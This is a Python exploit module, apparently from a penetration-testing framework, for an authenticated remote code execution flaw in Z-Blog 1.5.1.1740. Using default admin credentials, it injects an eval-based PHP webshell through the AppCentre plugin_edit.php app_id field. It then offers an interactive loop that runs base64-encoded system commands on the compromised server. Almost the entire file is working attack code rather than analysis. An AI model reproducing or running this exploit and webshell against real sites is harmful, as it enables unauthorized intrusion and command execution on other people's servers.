#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import hashlib import sys import string try: from core.log import Log except Exception as e: import sys sys.path.append("../../core/log") from Log import Log def check_prefix(prefix): allow_chars = string.letters + string.digits if len(prefix) < 3: print "[-] The length of 'prefix' must > 3" return False for i in prefix: if i not in allow_chars: print "[-] The prefix must be [a-zA-Z0-9]" return False return True def md5(content): return hashlib.md5(content).hexdigest() class Exploit: # 定义该漏洞利用的配置信息 # 备注: # necessity 表示该参数是否必须配置 # default 为该参数的默认值 config = { "remote_host": {"default": "127.0.0.1", "necessity": True}, "remote_port": {"default": 80, "necessity": True}, # "session_auth": {"default": True, "necessity":True}, # "session_id": {"default": "", "necessity": True}, "admin_user": {"default": "admin", "necessity":True}, "admin_pwd": {"default": "admin_zblog", "necessity":True}, "webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity": True}, "shell_pwd": {"default": "c", "necessity": True}, "interactive": {"default": True, "necessity": True}, "plug_prefix": {"default": "image", "necessity": True}, "shell_file": {"default": "update.php", "necessity": True} } # 如果该漏洞可以 GetShell, 该变量存储 shell 的 url webshell_url = "" session = requests.Session() def __init__(self): pass def login(self): remote_host = self.get_config("remote_host") remote_port = int(self.get_config("remote_port")) username = self.get_config("admin_user") password = self.get_config("admin_pwd") url = "http://%s:%d/zb_system/cmd.php?act=verify" % (remote_host, remote_port) data = { "username": username, "password": md5(password), } response = self.session.post(url, data=data) content = response.content return "后台首页" in content def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") remote_host = self.get_config("remote_host") remote_port = self.get_config("remote_port") username = self.get_config("admin_user") password = self.get_config("admin_pwd") webshell_password = self.get_config("shell_pwd") prefix = self.get_config("plug_prefix") filename = self.get_config("shell_file") webshell = self.get_config("webshell") if not check_prefix(prefix): return False if not self.login(): Log.error("Login failed!") Log.error("Please check your username and password") return False Log.success("[+] Login success!") Log.info("[+] Sending payload...") try: url = "http://%s:%d/zb_users/plugin/AppCentre/plugin_edit.php" % (remote_host, remote_port) data = { "app_id": "%s'.%s.'" % (prefix, webshell.replace("__PASSWORD__", webshell_password)), "app_path": filename, } response = self.session.post(url, data=data) content = response.content except Exception as e: Log.error(str(e)) return False if "已存在同名的APP应用" in content: Log.error("PlugIn name has been used! Please change the prefix!") Log.error("Exploit failed!") return False elif len(content) == 0: self.webshell_url = "http://%s:%d/zb_users/plugin/%s'.%s.'/%s" % (remote_host, remote_port, prefix, webshell.replace("__PASSWORD__", webshell_password), filename) Log.success("Exploit success!") Log.success("Enjoy your shell :") Log.success("Url : %s" % (self.webshell_url)) Log.success("Pas : c") Log.success("Remember to die() it!") self.interactive() return True else: Log.error("Unknown error!") Log.error("Exploit failed!") return False def show_options(self): ''' 输出该模块的选项信息 (即之前定义的 config) 由 options 命令触发 通常不需要改动 ''' Log.warning("Options\t\tNecessity\t\tDefault") Log.warning("-------\t\t---------\t\t-------") for key in sorted(self.config.keys()): Log.warning("%s\t\t%s\t\t\t%s" % ( key, self.config[key]["necessity"], self.get_config(key))) def set_config(self, key, value): ''' 对模块的参数进行修改 由 set 命令触发 通常不需要改动 ''' if key in self.config.keys(): self.config[key]["default"] = value else: Log.error("No such option!") def get_config(self, key): return self.config[key]["default"] def interactive(self): ''' 在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端 这里判断了 webshell_url 这个变量是否为空 因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置 ''' if self.webshell_url == "": Log.error("Webshell is dead!") return while True: command = raw_input("$ ") if command == "exit": break data = { self.get_config("shell_pwd"):"system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", "")) } print data try: Log.success(self.session.post(self.webshell_url, data=data).content) except Exception as e: Log.error(str(e)) return False def show_info(self): ''' 模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等 该函数在模块被加载的时候自动调用 需要将其中的信息修改为对应的模块信息 ''' Log.info("Name: Zblog(1.5.1.1740) Authenticated GetShell") Log.info("Effected Version: <=1.5.1.1740") Log.info("Author: Shutdown_r") Log.info("Home: http://www.jianshu.com/u/0876d51c215f") Log.info("Refer:") Log.info("\thttps://gist.github.com/WangYihang/318020687b7e5f1efb38e9afd40c941b") def main(): ''' 测试用例 ''' exploit = Exploit() exploit.show_info() exploit.set_config("remote_host", "192.168.187.1") exploit.set_config("plug_prefix", "hack") exploit.show_options() exploit.exploit() if __name__ == "__main__": main()